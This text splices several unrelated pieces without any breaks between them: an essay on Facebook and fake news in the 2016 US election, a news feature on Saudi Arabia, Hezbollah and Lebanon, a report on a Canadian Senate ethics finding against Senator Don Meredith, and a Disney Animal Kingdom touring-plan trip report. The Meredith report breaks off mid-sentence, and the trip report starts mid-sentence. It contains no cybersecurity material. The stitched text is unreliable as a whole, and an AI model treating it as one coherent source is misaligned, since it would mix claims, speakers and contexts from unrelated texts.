One reason, of course, is that it’s very nearly impossible to teach an algorithm how to consistently detect inaccurate content. Given the inherent ambiguity of language, spotting fake stories tends to require lots of human intervention. Another way to put this is: Terms like fake—or bullshit, or hoax, and so on—don’t always possess stable definitions, even among members of the same political cohorts.
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Perhaps the most readily available example of this phenomenon is the controversy surrounding Hillary Clinton’s use of a private email server during her tenure as Secretary of State. Major developments in this story were broken by the New York Times, whose reporters treated it as a major scandal, one deserving of dedicated explainer-timelines not just for the story, but for Clinton’s reaction to the story. To the news startup Vox, however, the entire story, from start to finish, was horseshit. “The truth... is that the email server scandal is and always was overhyped bullshit,” wrote executive editor Matt Yglesias.
Whether Clinton’s use of a private email server was “overhyped” is, of course, a question of interpretation. And it’s a far cry from claiming that Clinton officials engaged in Satanic rituals. We would call the latter a hoax, or an intentional deception, rather than just bullshit. But if we’ve already accepted that Facebook erases these distinctions, it’s hard to argue, from the standpoint of the average Facebook user, that establishment media companies—not just fly-by-night blogs in Eastern Europe—have fallen victim to their own brand of falsehoods and misinformation, too.
The most high-profile example of this, at least in the past few years, is Rolling Stone’s disastrous 2014 investigation of campus rape at the University of Virginia, in which the paper got duped by a fundamentally unreliable source. If you were wondering how American voters elected a man who was caught on tape admitting to sexually preying on women, the Rolling Stone saga is a decent place to start, and not just because its inaccuracy allowed people to spread the pernicious myth that women frequently lie about being raped. That episode also reminds us that websites peddling fake news about Hillary Clinton murdering soldiers in Benghazi do not have, and have never had, exclusive purchase on falsehoods, nor sole domain over the mistrust in media those lies tend to breed.
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Indeed, during the 2016 cycle, a different kind of false story rose to prominence, one defined by professional journalists’ certainty that Donald Trump would never, ever become President. For example:
And on and on. This certainty pervaded mainstream coverage of Trump’s campaign during its entire run, up until its very end, and it was entirely wrong. Yet when these stories were shared on Facebook, nobody referred to them as hoaxes, or falsehoods, that needed to be identified and removed from circulation. Nobody ever said the spread of stories containing the words “Donald Trump will never be President” amounted to a crisis that Facebook needed to address immediately. And yet if you were to consider the kinds of stories that would discourage Clinton supporters from turning out at the polls—if you were to worry about stories that would deliver Trump the presidency—it’s hard to think of a more effective template than “Donald Trump will never be President.” After all, if a Clinton supporter saw those words in an article published by an outlet they trusted, why would they even bother to vote?
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This is not to suggest that Facebook is blameless. When it comes to the distribution of news, the company’s off-hands approach has allowed outright lies to spread among its users, as evidenced by the rise of hoax stories in the News Feed’s trending topics section. It has courted hundreds of media companies to such a point that most of them are entirely beholden to Facebook’s hose of traffic. And, as Pareene pointed out yesterday, the company’s CEO, Mark Zuckerberg, has provided more cover for Facebook board member Donald Trump delegate Peter Thiel than any other person in the tech industry, having refused to distance himself, or the company, from Thiel’s complicity in the Republican nominee’s vicious campaign.
Nearly all of these decisions stem from Facebook’s long-standing and baffling refusal to call itself a media company. But that refusal has always been beside the point. Of course Facebook is a media company. It decides what kind of stories its users see, and sets strict guidelines for third-party companies who use its platform for distribution.
The spread of fake news on Facebook represents a real threat to a functioning political system. But if journalists are worried about establishing a baseline of accuracy on Facebook’s platform, they should start with the story the company tells about itself. No lie or falsehood or hoax is more consequential than Facebook’s belief that it is not a media company, and thus can shirk the responsibilities of one—beginning with a basic fidelity to the truth.
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It’s the job of journalists to expose that lie. Given the media industry’s own history of errors and obfuscation, it will be difficult to write and publish this story in a manner that will change people’s minds. But doing so would set the necessary conditions to write the stories that the electorate says it wants to read. Even better, telling the true story of Facebook brings us closer to being able to publish these other, more important stories—those that illustrate voters’ deepest desires and fears—without having to rely on Facebook in the first place.Ramzi Haidar, AFP | Hezbollah fighters, holding up national flags and the yellow flag of the Lebanese Shiite group, parade on the occasion of Martyr's Day in the southern suburbs of Beirut November 11, 2009.
Lebanon is once again the site of a proxy war, this time between Sunni powerhouse Saudi Arabia and Iran-backed Hezbollah. But can the tiny Mediterranean nation withstand the latest fallout from the Syrian conflict?
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Every summer, thousands of Gulf Arab tourists -- some with maids and staff in tow -- descend on Lebanon, triggering quintessentially Lebanese jibes about the annual wave of moneyed “khalijis,” or Gulf natives, arriving on their shores mixed with an acknowledgment of the much-needed tourist revenues they generate.
Barring an outbreak of war, khalijis can be unfailingly spotted in the holiday season in Lebanese hotels, restaurants, and the infamous seaside resort of Maameltein -- famed for its sleazy “super nightclubs” – where Gulf tourists let their hair down and do their bit for the tiny Mediterranean nation’s coffers.
This time though, the summer migration could dwindle to a trickle as tourism becomes the latest victim of the complicated relations between Sunni powerhouse Saudi Arabia and Hezbollah-dominated Lebanon.
Last week, the Saudis and a number of Gulf States urged their citizens not to travel to Lebanon. The United Arab Emirates (UAE) went a step further by banning their citizens from travelling to Lebanon and reducing its diplomatic missions in the country.
On Wednesday, March 2, the Saudi-led bloc of six Gulf Cooperation Council (GCC) nations designated Hezbollah a terrorist organization, taking the tensions a notch higher.
The move marked the latest twist in the fallout of the Syrian conflict, which has pitched Saudi Arabia against Iran, Hezbollah’s chief patron. With its 400-kilometer border with Syria and its diverse mix of religious groups -- many of them armed and some rumoured to be arming themselves -- Lebanon has been vulnerable to the shocks of the Syrian civil war over the past five years.
In a statement announcing the terror designation Wednesday, GCC Secretary-General Abdullatif al-Zayani said it was due to Hezbollah’s “hostile acts” within the bloc’s member states.
The Lebanese Shiite group is considered a terrorist organisation by the US, while the EU and Britain have proscribed its military wing. Although the Wahhabi Sunni Kingdom of Saudi Arabia is ideologically a natural foe of Iran-backed Hezbollah, the Saudis have long maintained a flexible, pragmatic policy toward Lebanon’s myriad factions, an approach that enabled Riyadh to broker the 1989 Taif Agreement that finally brought an end to the brutal Lebanese Civil War.
The recent deterioration of relations marks a break from the old Saudi way of doing business, according to Mohamad Bazzi, a professor at New York University currently writing a book on the proxy wars between Saudi Arabia and Iran. “This is significant within the context of Saudi policy,” explained Bazzi. “Saudi policy has been much more aggressive under the new King [Salman bin Abdulaziz Al Saud, who was crowned in January 2015] than it has been for decades. The old status quo of using back channels and dialogue is gone. The new king appears to favour confrontation over accommodation.”
Economic salvo aimed at Lebanese people
The latest Saudi measure against Hezbollah appears to be more of an economic rather than a military salvo directed at the Lebanese people.
“Hezbollah doesn’t have any economic interests in the GCC. It’s not like the group has many bank accounts that can be frozen, which are the typical effects of such a terrorist organisation designation,” said Bazzi. “The biggest impact is likely to be felt by Lebanese and especially Lebanese Shia workers in the Gulf. We have already seen this being played out over the past few weeks, with the Saudis and the UAE expelling Lebanese nationals. It’s relatively easy to expel foreign workers by not renewing contracts or cracking down on residency statuses. It’s now much harder for Lebanese nationals who want to get work in the Gulf. It’s also much harder because diplomatic missions have been scaled back. So, the constant stream of migrants going back and forth has slowed down.”
According to Michael Young, opinion editor of the Beirut-based Daily Star, the terror designation can also be viewed as a symbolic warning. “It’s a political statement,” he explained. “Today, the Saudi position is to consider Hezbollah a threat and to signal that it’s willing to fight Hezbollah everywhere in the region.”
Keeping Hezbollah strong and the army weak
But the Saudi punishment has also extended to Lebanon’s fragile military, with potentially serious security implications.
Last month, Riyadh announced it was stopping payment on $4 billion (3.7 billion euros) worth of military aid to Lebanon because Beirut failed to condemn attacks on Saudi diplomatic missions in Iran following the kingdom’s execution of influential Shiite cleric Nimr al-Nimr.
The Saudi aid was destined to buy French weapons for the Lebanese army as part of a long-term plan to modernise the country’s weak military. Lebanon has already received the first batch of arms, which included armoured vehicles, attack helicopters, and artillery.
In an interview with Bloomberg, Sami Nader, head of the Beirut-based Levant Institute for Strategic Affairs, said the scrapping of military aid happened because Saudi Arabia was unable to ensure the French weapons would not fall into the hands of Hezbollah, whose fighters are supporting Syrian President Bashar al-Assad.
As one of the main international backers of the largely Sunni opposition forces in Syria, Saudi Arabia has been alarmed by the tide of the Syrian conflict turning in favour of Assad and his Russian and Iranian-backers.
While Hezbollah is the most powerful military force in Lebanon, there have been concerted international efforts in recent years to strengthen the national army, considered one of the few unifying institutions in a deeply divided country located on the frontlines of the Middle East’s most destabilising conflicts.
Cutting the military aid would only entrench the Lebanese status quo with Hezbollah wielding more military might than the national army.
Reacting to the news of the Saudi scrapping of military aid, the Hezbollah-owned al-Manar website last month quoted an Iranian Foreign Ministry spokesman promising that “the Islamic Republic of Iran is ready to provide Lebanon with the military support in case the latter asks for it.”
Analysts also warn that the Saudi economic punishment against Lebanon could backfire. “I’m not sure the Saudis have fully thought out the end game,” said Bazzi. “If the Saudi regime thought this would lead to an uprising or rebellion against Hezbollah in Lebanon, it’s actually more likely to have the opposite effect, particularly among Hezbollah supporters. The Shia community is going to be even more forced into Hezbollah’s arms. If people can’t go to work, they will become more reliant on Hezbollah for social services.”
‘A distillation’ of the region’s contradictions
On the domestic front, the Saudi-Iran proxy spat is not helping Lebanon’s longstanding political stalemate that has seen the country essentially leaderless since former Lebanese President Michel Suleiman’s term ended in May 2014. For the 36th time in a row parliament failed on Thursday to elect Suleiman’s successor.
Former Lebanese Prime Minister Saad Hariri, a key ally of Saudi Arabia, has been walking a tightrope between the country’s opposing political power centres. In December 2015, Hariri made a bid for the prime minister’s post with Maronite Christian politician Suleiman Franjieh vying for the presidency. Hezbollah however opposed the Franjieh-Hariri ticket and the political stalemate dragged on.
Following the GCC decision to brand Hezbollah a terrorist organisation, Hariri blasted the Shiite group’s actions in the region. "What Hezbollah is doing in Syria and Yemen is for me criminal, illegitimate and terrorist," he said following Thursday’s failed bid to elect a president.
But he was careful to stress that his Future Movement political party would continue to hold talks with Hezbollah representatives. “Hezbollah has long been designated a terrorist group in the Gulf and that has changed nothing in Lebanon,” he said. “We will hold talks with those we have differences with…We will continue the dialogue because we do not want strife in Lebanon.”
The danger though is that the power games between Saudi Arabia and Iran being waged in Lebanon could well see civil strife break out in the tiny, fragile nation that is already coping with an influx of more than a million Syrian refugees and a political impasse.
But that, according to Young, has always been Lebanon’s fate. “Lebanon has always been a distillation of all the contradictions in the region. The latest Saudi measure is definitely not doing any good for Lebanon. But the same is true for Hezbollah’s actions in Syria. It’s not just one side responsible for this, they both are,” he said.The Senate's ethics watchdog has found that Independent Senator Don Meredith breached the Red Chamber's ethics code by engaging in an inappropriate sexual relationship with a young woman that started when she was 16 years old.
The details are included in an explosive report released Thursday. Meredith, who was appointed as a Conservative senator by former prime minister Stephen Harper in 2010, denies many of the allegations levelled against him by the woman in question — who is identified by Lyse Ricard, the ethics officer, as "Ms. M" in the report — but concedes he had sexual intercourse with her on at least one occasion.
Ricard found reason to believe Meredith and Ms. M had intercourse three times, including once when the woman was 17 years old.
Meredith, 52, denies the allegation.
Ricard found that Meredith violated two sections of the code of ethics, namely that the Toronto-area senator and Pentecostal pastor did not uphold the highest standards of dignity inherent to his position, and that his actions reflect adversely on the institution of the Senate.
"Senator Meredith drew upon his weight, prestige and notability of his office, as well as his relative position of power as a much older adult, to lure or attract Ms. M, a teenager who, by virtue of her age, was necessarily vulnerable," Ricard said in her report. "He exploited Ms. M and the power imbalance between them."
Ricard said that normally a senator can suggest remedial measures to address their offending conduct, but Ricard said she did not think anything could assuage her concerns in this case. The report will now be referred to the Senate's ethics committee for review, which may recommend that the Senate as a whole take action — including the possibility of an expulsion.
Ricard referred the matter to Ottawa Police chief Charles Bordeleau in September 2015 because she believed the senator may have committed a Criminal Code offence.
Months later, in January 2016, the police ended their investigation and said they were not laying any charges, at which point Ricard resumed her inquiry.
Met in church
Meredith told the ethics officer that he was "engaged in continuous prayers of repentance," professional counselling and had thoroughly read the ethics code. He also pleaded with her, in a letter sent March 4, 2017, not to publicly release details of the inappropriate relationship because of the risk of "serious emotion and other harm."
Meredith is married, and tweeted Thursday, on the day of the report's release, that he is "lucky" to have his wife, Michelle, in his life.
CBC News reached out to Meredith's office late Thursday for comment on the officer's report but did not hear back in time for publishing.
The extensive 33-page report catalogues how Meredith first met the woman at a Black History Month event at an Ottawa-area church in February 2013 and then proceeded to have a relationship of a sexual nature with her until May 2015. Meredith repeatedly told Ricard he had "no recollection of" many of their sexual encounters.
During a second interview on the matter, when presented with extensive evidence, including logs showing contact he had with the woman on his Senate-issued cellphone, Meredith conceded he had an inappropriate relationship with the woman but could not provide many further details.
That prompted the ethics officer to conclude that Toronto-area senator did not provide credible information, and was not a reliable witness. The ethics officer repeatedly referred to Meredith's cellphone records to corroborate Ms. M's testimony.
"I found Ms. M to be a credible witness. She generally had clear recollections of the interactions she had with Senator Meredith between 2013 and 2015. She was forthcoming in attempting to answer all questions put to her fully and to the best of her ability," Ricard wrote in her report.
Explicit text messages
Ms. M produced explicit text messages, screenshots of Skype and Viber conversations |
at each attraction. Arriving at 8:20am instead of 8:45am is going to save us more than 25 minutes in line after just the first two attractions.
At exactly 8:45am, a short spiel welcomed us and we were allowed to enter to the Park, as the cheat sheet stipulates.
It takes about two minutes to walk through The Oasis and arrive on Discovery Island with the Tree of Life ahead.
I’ll cover construction and miscellaneous other changes of little interest at the end of this post, but it’s worth noting that a lot of the walls around the Tree of Life and Island Mercantile are down.
With a pre-rope-drop arrival, there are really two ways to attack Animal Kingdom. I favor the Africa approach, beginning with Kilimanjaro Safaris and then continuing to Asia for Kali River Rapids* and/or Expedition Everest, and onto DinoLand for Primeval Whirl and DINOSAUR. Whether or not you do Kali that early depends on whether you plan to use FastPass+ at Animal Kingdom or at another Park later. The Africa Approach otherwise gets you through all the priority rides before 11am and you have little to worry about for the rest of the day. You can use FastPass+ if you choose to re-ride favorites later in the day or at choice character meet and greets like Mickey and Minnie.
The Asia approach sees the guest head straight for Expedition Everest to ride a few times with short waits before heading elsewhere. Because of its healthy capacity and the fact relatively few people show up early to Animal Kingdom, you can usually get four rides on Everest before 10am and still arrive in DinoLand before waits materialize at Primeval Whirl or DINOSAUR. You would then probably rely on FastPass+ at Kilimanjaro Safaris and Kali River Rapids, in addition to another attraction, later in the day.
There’s a few reasons why I like the Africa approach more. If something happens later in the day – somebody gets sick, the heat is too much, Tusker House lunch takes twice as long as expected, a ride goes down etc. you’ve already done the major attractions without FastPass+. In addition, Kilimanjaro Safaris is a different experience each time you ride and I like to get one ride in first thing to see what’s out and about and then return much later in the day to see a different variety of animals. With the Asia approach, you can still do Safaris multiple times, but it would take a FP+ after riding Everest to cut down on a probably-already-lengthy wait or you’d be riding back to back later when there’s less chance that different animals will be out.
Heading to Africa first is also probably going to be more viable for most families that aren’t planning to visit the thrill rides. Cut out Everest, Primeval Whirl, and DINOSAUR, and you can hit Kilimanjaro Safaris first thing, walk Pangani Forest Explortation Trail, and sneak into the 10am Festival of the Lion King for great seats, before heading over to DinoLand for The Boneyard and TriceraTop Spin and then walking over to see the first and least crowded Finding Nemo the Musical at 11am.
But the Asia approach is perfectly viable and favored by a lot of people that like to ride Expedition Everest over and over. If I’m going to plan to do that, I like to do so at the end of the day when waits only get shorter and shorter as Park close approaches.
Anyway, enough about me. You ordinarily won’t run into any ropes once you’re let into the Park. Note that the quick services that serve breakfast don’t typically serve until right at official open. Pizzafari here has a breakfast menu and Kusafiri in Africa also offers a breakfast sandwich. Most people will probably prefer to eat something quick before leaving the room or on the way because the early morning sees some of the shortest waits of the day and spending time eating a lengthy breakfast just means longer waits at the rides once you finish.
Once Starbucks opens here it would make sense that Pizzafari would drop breakfast.
Into Africa.
And onto Harambe.
Tusker House is the character buffet that opens for breakfast daily at 8am. I’m not a big proponent of the 8am breakfast – too early, too expensive, and too rushed in most cases, perhaps with the exception of Be Our Guest if you’re looking to visit Anna/Elsa or Mine Train with a short standby wait first thing. And in Animal Kingdom’s case, the early breakfast is really the least advantageous as there isn’t necessarily a huge rush to Kilimanjaro Safaris with its hefty hourly capacity and plentiful FastPass+ availability.
While Safaris is supposed to be operating by the time anyone arrives, it can occasionally see a delay for a variety of reasons. After entering the Park at 8:46am, we arrived at Safaris at 8:52am and were held in front of the entrance.
It was 8:56am or just four minutes later when we were let through.
And we were on our way four minutes later at 9am. There’s a fair amount of construction out on the savanna. It will be interesting to see what they’re up to.
We were off the ride and back out front at 9:27am.
We’re going to be roughly following the basic cheat sheet morning plan:
The plan says we should have arrived at 8:55am and been on our way at 9:25am with 15 minutes to walk to Expedition Everest. Instead, we were let through at 8:56am and arrived back out front at 9:27am.
Another bonus of the Africa approach – very few people walking this path from Africa to Asia.
It’ll only be a few hours until we’re dealing with this.
You might notice the morning touring plan that doesn’t take advantage of FastPass+ puts Kali River Rapids here in the morning long before it will incur a wait. With high temperatures already reaching 90 degrees, the popular flume ride is going to have the longest peak and average wait in the Park – by far. With FastPass+, we’re going to be able to ride around 1pm when temperatures peak and we might appreciate getting drenched a little more than the morning. The good news for those of you skipping FP+ here is that the RealFeel is already going to be 80 degrees by 9:30am most days. My recommendation is usually to just skip Kali entirely. The potential discomfort is not worth what amounts to one of the most disappointing major attractions in a Disney theme park.
Walls still surround the walk into Asia.
And continue up through Everest and through DinoLand for Rivers of Light construction – the new nighttime show expected to arrive in spring of next year.
The cheat sheet allows for 15 minutes to walk to Everest – we arrived in less than ten at a gingerly pace. The posted wait is 15 minutes.
We were on in less than ten.
And back out front 16 minutes later at 9:50am to a 25-minute wait.
Singer rider is very viable at this hour for those that don’t mind spending 2 minutes and 54 seconds of your vacation apart. Your expected wait in single rider would be two minutes at worst. You tend to get people that are more and more willing to split up the later in the day it gets. I have no idea why…
From here it’s on to DinoLand USA, where you could argue there are 1.5 priorities, whether you consider both DINOSAUR and Primeval Whirl to equal 1.5 decent rides or figure peak waits at both are low enough that they aren’t necessarily as big of a deal as something like Mine Train or Test Track.
Walls lining the walk to DinoLand.
The cheat sheet plan has us arriving at Primeval Whirl in DinoLand at 10:05am or ten minutes after disembarking Everest. In reality, it took us about six minutes to walk it, including intermittent stops for photos.
While it’s unlikely either Primeval Whirl or TriceraTop Spin will accumulate waits by 10am, we still prioritize Primeval Whirl because it does see higher peak waits and is more likely to see longer waits later in the day due to tour groups, FastPass+ backups, etc.
Arriving at 9:56am, the posted wait is ten minutes.
With virtually zero FastPass+ returners and both sides of the ride operating, we’ll end up waiting less than two.
I’m not sure whether or not that’s a good thing.
The cheat sheet allots ten minutes and our total experience time ended up being ten minutes. Even in heavier crowds, there isn’t going to be anybody here this early.
TriceraTop Spin is up next if your party has interest. The cheat sheet allots eight minutes here from 10:17am-10:25am.
The popular Goofy and Pluto meet down below would be a good alternative for the kids while others do DINOSAUR and Primeval Whirl.
It ended up taking six minutes and we remain about 13 minutes ahead of schedule with the current time of 10:12am. The times are padded a bit for unexpected bathroom breaks, etc.
Nearby DINOSAUR is up next. The cheat sheet calls for FastPass+ here around 10:30am with a window of 10am-11am. Under FP+, average and peak waits had taken off at DINOSAUR due to maximum FastPass+ distribution even on the least crowded days of the year. We can take a look at posted waits over the last month to see if that trend continues:
Larger for a complete picture: https://www.easywdw.com/reports13/dinosaurapril.jpg.
Looking at wait times around 10:30am in particular:
For the most part, it looks like wait times are tolerable, even over the busy Easter season towards the beginning of the month. Still, the occasional 30 minute posted wait pops up, particularly as you edge further away from 10:15am and closer to 10:45am. Time really is of the essence over the first two hours, which is why the early arrival is so essential. If you arrive at 8:50am instead of 8:20am, you’re going to end up waiting an extra ten minutes at Safaris, which will turn into an extra 20 minutes at Everest, which will turn into an extra 30 minutes at DINOSAUR and will continue ballooning from there.
I made FastPass+ reservations the night before and got most of what I needed, though the Mickey/Minnie meet had severely limited options and I ended up scheduling them for 11:40am-12:40pm instead of the 11am-12pm that the cheat sheet calls for.
With the positive recommendation, the average overall crowd level, and easy touring so far, I decided to call an audible and change our FastPass+ reservation on the fly from DINOSAUR to something else. Remember, you can change your FastPass+ selection to a different time or experience in the same theme park, based on availability, even after the window opens.
Using the My Disney Experience app, it took less than 90 seconds to switch out DINOSAUR for a convenient Everest FP+ shortly after our Kali River Rapids FP+ expires in the afternoon.
The DINOSAUR FP+ otherwise would have been useless:
We marched right into the next pre-show in standby along with anyone else that would have arrived with FP+.
If flash photography alters the homing beacon, I would hate to find out what selfie sticks do.
After the pre-show, you can run into a bit of a wait at loading, particularly if they’re only running one side.
That’s not much of a concern here.
The cheat sheet allots 20 minutes with FastPass+. We ended up arriving at 10:17am and were back out front at 10:35am for a total experience time of 18 minutes after basically getting as close to walking on as possible.
In the cheat sheet revision, I think we’ll move up DINOSAUR to standby right after Expedition Everest and plan to use FastPass+ elsewhere.
At 10:40am, TiceraTop Spin would still be a two or three minute wait with Primeval Whirl nearing actual waits of eight or nine minutes.
The cheat sheet plan next calls for a visit to nearby Mickey and Minnie with FP+. That would allow you to basically walk in to the only remaining meet and greet where the two famous mice ordinarily meet together. Using FP+ that early also allows an earlier visit to a kiosk for a 4th FP+, which we’ll discuss in more depth when that comes up. Because I set up FP+ the day before and availability for Adventurers Outpost was very slim, we’ll visit the 11am Finding Nemo the Musical in the meantime. Seeing the first show of either Nemo (usually at 11am) or Festival of the Lion King (usually at 10am) will result in some of the lowest crowds of the day, which in turn means finding better seats with the least amount of lead time possible.
Using FastPass+ for most shows winds up being largely useless. At Nemo and Lion King, the FP+ return time is going to be between 30 and 10 minutes before showtime. So for an 11am show, the return time would be 10:30am to 10:50am. If you’re going to show up 30 minutes early, you might as well use standby as your seat would be somewhere between very similar and the same as what you’d get with FP+, just because FP+ users don’t fill in that much space and you would arrive in front of virtually anybody else in standby.
At 10:40am, FastPass+ users are already allowed in the theater through the open door in the picture above, while the rest of us file down into this outdoor holding area.
5 minutes later, at 10:45am, we were let in. So for FastPass+ to have any value here at all, you’d either have to arrive at least 15 minutes early to beat standby or arrive very late with hopes of finding the theater mostly full and a sympathetic cast member that ignores the FP+ return window and lets your party enter the theater in front of some poor lowly family planning to use standby. Neither situation is particularly ideal. If you arrived at 10:50am with FastPass+, the theater would already be full of everyone that arrived earlier than you in standby. Using FastPass+ at Nemo or Lion King is really not much of a time or comfort saver.
Entering the theater in standby, there’s plenty of room.
In the front too.
I prefer to sit a little further back, here with several mostly-empty rows off to the side.
Nemo is a bright, fun, musical on a scale not often seen at Walt Disney World these days.
I recommend seeing it. You’ll need to budget about 50 minutes with the 35-minute runtime.
Leaving the theater is always sort of a clustercuss. There’s only one exit in the back right of the theater as you look at the stage. You could plan to sit near the exit for a quick escape or wait around after the show concludes to wait for the area to clear out. Or you can push your way through right after the show ends like everybody else.
At 11:45am, the posted wait for Primeval Whirl is still 10 minutes.
TriceraTop Spin would take about the same amount of time with the limited capacity.
DINOSAUR was posted at 20 minutes with guests already filing in through the outdoor extended queue, which isn’t a good sign.
Heading over to Mickey and Minnie.
After a bathroom break and some construction pictures, we arrive at Adventurers Outpost right at 12pm with a 15-minute posted wait.
A chart of wait times for the Mickey/Minnie Adventurers Outpost meet over the last month, with the blue highlighted portion highlighting expected waits in the window where we’re planning to use FP+:
Again, with the positive recommendation and average overall crowd level, waits remain manageable for the most part. That’s why the cheat sheet does offer a morning touring plan without FastPass+, just in case you want to park hop and use it at priority attractions elsewhere. FP+ would save you a lot more time at Toy Story Mania, Rock ‘n’ Roller Coaster, and Star Tours in the afternoon than anything you could use it on here.
The plan without FastPass+, which should include Mickey and Minnie in the next revision.
Still, FastPass+ does make touring a lot easier.
FastPass+ users wait in this nondescript room before merging with standby.
Adventurers Outpost is one of my favorite meet and greets, featuring Mickey and Minnie in fun outfits with an interesting background. We got in line at 12pm, met Mickey at 12:11pm, and were back out front at 12:13pm to a 20-minute posted wait.
Kali River Rapids is our next FP+ with the window opening at 12:40pm and continuing through 1:40pm. With the built-in grace period five minutes prior to the start of the window and continuing for 15 minutes after, that makes the “real” window between 12:35pm and 1:55pm. So there’s somewhere between 25 and 100 minutes for lunch.
Checking in on the Kali River Rapids wait, which is already up to 60 minutes with the heat.
We set out for Yak & Yeti table service in Asia without a reservation to see what the wait would be. It was quoted as ten to twenty minutes.
It ended up being less than ten minutes between our arrival and seating, which is about as efficient as you could expect.
The restaurant revamped its menu back in December, changing a few recipes and adding new items:
Not a lot has changed, but you might want to double check to make sure a favorite is still on the menu with a similar presentation. The popular steak/shrimp combo is still on the menu, but the presentation, preparation, and ingredients are very different.
I won’t rehash most of my thoughts on the restaurant. Past reviews are available here (in addition to a look at most of the alcoholic drinks available around the Park and a better look around the restaurant) with a second review available here.
I started with the $4.99 Wonton Soup – Pork wontons, clear chicken broth and vegetables, which arrived alongside some crispy wontons.
With three sizable wontons packed with pork and toppings served in a piping hot broth, I thought this was a nice way to start a meal for five bucks or so.
For an entree, I went with a menu staple, the $27.99 Slow-roasted pork ribs, hoisin BBQ sauce, chicken fried rice, sweet chili slaw.
The hoisin bbq sauce is somewhat unique with its salty, sweet tang. The portion size is very large, like it is with most of Yak & Yeti’s entrees. The ribs even come pre-portioned in two sets of four ribs each. The meat was otherwise tender without being mushy. With virtually no fat to speak of, the meat had a nice bite off the bone, which I appreciated. Disney’s ribs usually have a fatty, mushy texture.
Their fried rice is reliably prepared well with interesting vegetables.
The sweet chili slaw is virtually identical to what they serve during lunch at Kona Cafe. It’s a mixture of crunchy vegetables in a sweet chili sauce, as you might expect from the description.
Lisa ordered the relatively new Chicken Tikka Masala – Boneless chicken breast marinated in yogurt and freshly ground herbs cooked in a traditional Masala sauce, jasmine rice, garlic naan bread – $23. I’m not sure how obviously large the portion size is, but that is not a small scoop of rice. It was a ton of tender chicken in a sauce that overwhelmingly tasted like a mildly spicy yellow curry.
The naan and rice serve as nice accompaniments to soak up any additional sauce. Lisa enjoyed it.
I like Yak & Yeti a lot, but it is on the expensive side for lunch with just the one menu served all day. Disney table service ribs usually come in between $22 and $24, compared to $28 here. $23 on the chicken is $2 or $3 more expensive than you’d expect to pay at a Disney-operated restaurant. Overall, one soft drink, the soup, and two entrees came out to over $75 with tax and tip. And they don’t take Tables in Wonderland, though they do offer 10% off entrees for Annual Passholders and DVC members. That would present a savings of about $5 on a $60 bill.
Otherwise, the atmosphere is a lot of fun, service is reliably friendly, it’s usually easy to get seated without a reservation, the food is good, portions are large, and it’s a relaxing overall experience, even if it is occasionally loud. With that said, it’s not an inexpensive proposition compared to the quick service next door, which serves good food for around $10/entree.
Taking a look at Kali River Rapids wait times over the last month:
Larger: https://www.easywdw.com/reports13/kali.jpg
The blue section highlights the time around when I like to use FP+. It’s after lunch so you’re not sitting there wet trying to order and eat and it’s late enough that temperatures should be plenty comfortable for a water ride. It’s also early enough for a 3rd FP+ use that a decent 4th option should be available after.
Free lockers remain available to the left of the entrance, which you want to use for anything and everything you don’t want getting wet.
With the 55-minute posted wait, the locker was available free for 210 minutes, or 3.5 hours.
We ended up being about seven minutes past our official FP+ time, arriving at the entrance at 1:47pm. It’s no problem. The Mickey reader automatically turns green given the grace period. We were back out front with our stuff out of the locker at 2:10pm, for a total experience time of about 23 minutes. 20 minutes is about the least amount of time it’s going to take in the afternoon. Budget up to 30 minutes come summer.
Changing the earlier FP+ from DINOSAUR to Everest makes a return visit easy here at 2:16pm with a 35-minute posted wait. The FastPass+ line is backed up outside the entrance fairly far due to user error of some sort. These sorts of backups are somewhat common, but not really a big deal. You’re either waiting for this many people in front of you in line outside the FP+ entrance or further inside the queue waiting to get to the merge point with standby.
We boarded exactly five minutes later at 2:21pm.
#nofilter
And back out front just 11 minutes later to a 45-minute peak wait, which is slightly above average.
Animal Kingdom, like the other Parks, typically sees its highest wait times between 12pm and 4pm.
With the restricted walkways due to construction and what probably amounts to poor planning overall, portions of the Park “feel crowded,” even given average crowds. After using your third FastPass+ or after the return window of the third FastPass+ passes, you’re eligible to visit a FastPass+ kiosk to check availability for a fourth. Believe it or not, the Asia FastPass+ kiosk is visible in this picture.
We chose Kilimanjaro Safaris for 3:20pm to 4:20pm, which is about 50 minutes in the future. Once you make an additional FastPass+ reservation at a kiosk, you can modify it via the My Disney Experience app on your phone. So it isn’t necessarily essential that you get exactly what you want at the kiosk, which can be a hectic experience as the cast member tries to rush you through the lagging screens. Just make sure you get the party members right and pick an attraction. Then change it at your leisure.
For a party of 2 at 2:37pm given average to very slightly above average crowds, this is what was available:
A couple times for Safaris.
A few times for DINOSAUR.
The next three showings of Lion King.
Just the next show for Finding Nemo.
Plenty for It’s Tough To Be A Bug.
And Primeval Whirl.
Remember that the day before, there was virtually no availability for Mickey and Minnie with the “no alternate times available” warning on the right. That meet and greet along with Kali River Rapids and Expedition Everest had no 4th FP+ availability when we checked at 2:37pm. That’s not necessarily the end of the world as we’ve already visited all of those attractions at least once.
Speaking of additional FastPass+ opportunities, the kiosk locations have changed again:
I’ve circled the new locations on the map above. The location next to Kali is official just as of April 26th.
From the ground, as you enter the Park, the first actual kiosk you’ll see is near the base of the Tree of Life on the right outside Disney Outfitters.
The “FastPass+ Service Center” is located at the regular Guest Relations office, which is just inside the entrance on the left. They can help with big picture problems, but will likely send you to a kiosk if you’re looking to set up a 4th FastPass+.
The other FastPass+ kiosk closest to the entrance/exit is across the way next to Island Mercantile.
The kiosk location in Africa hasn’t changed. It’s right past the bridge on the left.
The new location in Asia is about in the least convenient location possible.
If you can avoid the Kali FP+ location, I would. Unfortunately, it’s the most convenient to Kali River Rapids and Expedition Everest.
Overall, the day went well. The only change I think I’ll make to the plan is moving DINOSAUR up after Expedition Everest in standby and then add FastPass+ somewhere else later in the day – probably Expedition Everest. Eating lunch around 11:15am is otherwise a lot better than 12pm. While I didn’t get a picture, the line to Restaurantosaurus was out the door at noon. Planning an early lunch, as the cheat sheet calls for, will result in a lot less hassle for that Mickey burger.
Lines have been so long at Restaurantosaurus that Disney installed water dispensers outside the entrance in what can be an external queue. Things should cool off a bit when Flame Tree reopens, hopefully next month.
So in less than six hours, we accomplished:
1x Kilimanjaro Safaris
2x Expedition Everest
1x Primeval Whirl
1x TriceraTop Spin
1x DINOSAUR
1x Finding Nemo the Musical
1x Adventurers Outpost Mickey and Minnie Meet
1x table service lunch
1x Kali River Rapids
Not too bad. A look at wait times over the course of the day:
Larger: https://www.easywdw.com/reports13/ak42415.jpg
